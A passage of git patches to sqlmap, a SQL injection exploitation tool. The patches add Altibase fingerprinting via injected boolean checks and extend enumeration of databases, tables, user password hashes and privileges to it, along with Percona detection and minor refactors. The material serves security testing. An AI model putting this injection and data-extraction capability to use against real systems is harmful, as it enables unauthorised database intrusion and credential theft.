use?\n" @@ -202,7 +202,7 @@ def columnExists(columnFile, regex=None): errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) - if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py new file mode 100644 index 000000000..a89266d6d --- /dev/null +++ b/plugins/dbms/altibase/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import ALTIBASE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.altibase.enumeration import Enumeration +from plugins.dbms.altibase.filesystem import Filesystem +from plugins.dbms.altibase.fingerprint import Fingerprint +from plugins.dbms.altibase.syntax import Syntax +from plugins.dbms.altibase.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class AltibaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Altibase methods + """ + + def __init__(self): + self.excludeDbsList = ALTIBASE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.ALTIBASE] = Syntax.escape diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py new file mode 100644 index 000000000..138564733 --- /dev/null +++ b/plugins/dbms/altibase/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Altibase it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py new file mode 100644 index 000000000..162768951 --- /dev/null +++ b/plugins/dbms/altibase/enumeration.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getStatements(self): + warnMsg = "on Altibase it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getHostname(self): + warnMsg = "on Altibase it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py new file mode 100644 index 000000000..e8c642492 --- /dev/null +++ b/plugins/dbms/altibase/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py new file mode 100644 index 000000000..425d89a04 --- /dev/null +++ b/plugins/dbms/altibase/fingerprint.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import ALTIBASE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.ALTIBASE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.ALTIBASE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(ALTIBASE_ALIASES): + setDbms(DBMS.ALTIBASE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.ALTIBASE + logger.info(infoMsg) + + # Reference: http://support.altibase.com/fileDownload.do?gubun=admin&no=228 + result = inject.checkBooleanExpression("CHOSUNG(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.ALTIBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TDESENCRYPT(NULL,NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE + logger.warn(warnMsg) + + return False + + setDbms(DBMS.ALTIBASE) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py new file mode 100644 index 000000000..f9355c077 --- /dev/null +++ b/plugins/dbms/altibase/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py new file mode 100644 index 000000000..c83884a81 --- /dev/null +++ b/plugins/dbms/altibase/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Altibase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Altibase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Altibase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Altibase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b8389d089..2786931d6 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -48,7 +48,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import REFLECTED_VALUE_MARKER -from lib.core.settings import UPPER_CASE_IDENTIFIERS +from lib.core.settings import UPPER_CASE_DBMSES from lib.core.settings import VERTICA_DEFAULT_SCHEMA from lib.request import inject from lib.techniques.union.use import unionUse @@ -87,6 +87,11 @@ class Databases(object): warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): + warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() + warnMsg += "user names for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + singleTimeWarnMessage(warnMsg) return kb.data.currentDb @@ -110,6 +115,14 @@ class Databases(object): infoMsg = "fetching database (schema) names" + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): + warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms() + warnMsg += "for enumeration as the counterpart to database " + warnMsg += "names on other DBMSes" + logger.warn(warnMsg) + + infoMsg = "fetching database (user) names" + else: infoMsg = "fetching database names" @@ -142,7 +155,7 @@ class Databases(object): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -229,7 +242,7 @@ class Databases(object): if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() - if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if conf.db: @@ -316,7 +329,7 @@ class Databases(object): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -373,7 +386,7 @@ class Databases(object): tables = [] - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -398,7 +411,7 @@ class Databases(object): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].table_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) @@ -458,7 +471,7 @@ class Databases(object): raise SqlmapNoneDataException(errMsg) elif conf.db is not None: - if Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if ',' in conf.db: @@ -469,7 +482,7 @@ class Databases(object): conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.col = conf.col.upper() colList = conf.col.split(',') @@ -485,7 +498,7 @@ class Databases(object): colList = [_ for _ in colList if _] if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') @@ -593,7 +606,7 @@ class Databases(object): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -669,7 +682,7 @@ class Databases(object): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) @@ -735,7 +748,7 @@ class Databases(object): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -809,7 +822,7 @@ class Databases(object): elif Backend.isDbms(DBMS.MONETDB): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None @@ -833,7 +846,7 @@ class Databases(object): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) @@ -850,7 +863,7 @@ class Databases(object): if not onlyColNames: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) @@ -935,7 +948,7 @@ class Databases(object): if not db or not table: return None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: db = db.upper() table = table.upper() @@ -1027,7 +1040,7 @@ class Databases(object): errMsg = "unable to retrieve the number of statements" raise SqlmapNoneDataException(errMsg) - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 99fd9d646..da60c5ea0 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -43,6 +43,7 @@ from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import NULL +from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable @@ -70,7 +71,7 @@ class Entries(object): conf.db = self.getCurrentDb() elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() if ',' in conf.db: @@ -86,7 +87,7 @@ class Entries(object): conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') @@ -176,7 +177,7 @@ class Entries(object): entries = [] query = None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI): query = rootQuery.inband.query % (colString, tbl) @@ -285,7 +286,7 @@ class Entries(object): infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI): query = rootQuery.blind.count % tbl @@ -380,7 +381,7 @@ class Entries(object): else: emptyColumns = [] - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE) indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: @@ -407,7 +408,7 @@ class Entries(object): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 0d359c875..731adae3c 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -34,6 +34,7 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX +from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.brute import columnExists from lib.utils.brute import tableExists @@ -63,7 +64,7 @@ class Search(object): values = [] db = safeSQLIdentificatorNaming(db) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: db = db.upper() infoMsg = "searching database" @@ -170,7 +171,7 @@ class Search(object): values = [] tbl = safeSQLIdentificatorNaming(tbl, True) - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: tbl = tbl.upper() conf.db = conf.db.upper() if conf.db else conf.db @@ -393,7 +394,7 @@ class Search(object): conf.db = origDb conf.tbl = origTbl - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: column = column.upper() conf.db = conf.db.upper() if conf.db else conf.db conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl @@ -602,7 +603,7 @@ class Search(object): logger.warn(warnMsg) def search(self): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: for item in ('db', 'tbl', 'col'): if getattr(conf, item, None): setattr(conf, item, getattr(conf, item).upper()) diff --git a/plugins/generic/users.py b/plugins/generic/users.py index f94fc6eab..24be99e6f 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -128,7 +128,7 @@ class Users(object): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -293,7 +293,7 @@ class Users(object): passwords = [] - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -541,7 +541,7 @@ class Users(object): privileges = set() - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: From 186b3920e7dfa328805c59bff5dc88e9707a7b53 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 Jan 2020 23:47:47 +0100 Subject: [PATCH 116/159] Adding support for Percona (MySQL) fork --- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 ++ 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 8e31e6fa0..4f22cf412 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -76,6 +76,7 @@ class DBMS_DIRECTORY_NAME(object): class FORK(object): MARIADB = "MariaDB" MEMSQL = "MemSQL" + PERCONA = "Percona" COCKROACHDB = "CockroachDB" TIDB = "TiDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index b4848faf7..129312eb0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.57" +VERSION = "1.4.1.58" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index da0d890b2..ca4914132 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -92,6 +92,8 @@ class Fingerprint(GenericFingerprint): fork = FORK.MARIADB elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"): fork = FORK.TIDB + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"): + fork = FORK.PERCONA else: fork = "" From 22bf77161a6ba726765fa36ac03a5c1be9a7c0fd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Jan 2020 00:00:06 +0100 Subject: [PATCH 117/159] Trivial update --- lib/core/settings.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 129312eb0..ff76fd06e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.58" +VERSION = "1.4.1.59" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -266,9 +266,10 @@ MCKOI_SYSTEM_DBS = ("",) PRESTO_SYSTEM_DBS = ("information_schema",) ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) +# Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") -MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb") -PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") +MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access") From f38a2c2028a4b2f12280ecf6307b62c3c7a4f900 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Jan 2020 09:42:00 +0100 Subject: [PATCH 118/159] Minor refactoring --- lib/core/decorators.py | 2 +- lib/core/option.py | 5 ++--- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 33a7a074f..8ddf00c63 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -28,7 +28,7 @@ def cachedmethod(f): >>> __ = cachedmethod(lambda *args, **kwargs: args[0]) >>> __(2) 2 - >>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0]) + >>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values()))) >>> __(foobar=3) 3 diff --git a/lib/core/option.py b/lib/core/option.py index fbc2981a1..524945510 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -347,7 +347,7 @@ def _setCrawler(): if conf.url: crawl(conf.url) elif conf.requestFile and kb.targets: - target = list(kb.targets)[0] + target = next(iter(kb.targets)) crawl(target[0], target[2], target[3]) def _doSearch(): @@ -1735,8 +1735,7 @@ def _cleanupOptions(): conf.__setitem__(_, True) if conf.noCast: - for _ in list(DUMP_REPLACEMENTS.keys()): - del DUMP_REPLACEMENTS[_] + DUMP_REPLACEMENTS.clear() if conf.dumpFormat: conf.dumpFormat = conf.dumpFormat.upper() diff --git a/lib/core/settings.py b/lib/core/settings.py index ff76fd06e..f85ea0287 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.59" +VERSION = "1.4.1.60" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f21388d550c85d498628b1c14dd58c7df709847d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Jan 2020 10:01:21 +0100 Subject: [PATCH 119/159] Minor optimization --- lib/core/settings.py | 4 ++-- lib/utils/hash.py | 32 +++++++++++++++++++++----------- 2 files changed, 23 insertions(+), 13 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f85ea0287..bf83ea958 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.60" +VERSION = "1.4.1.61" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else 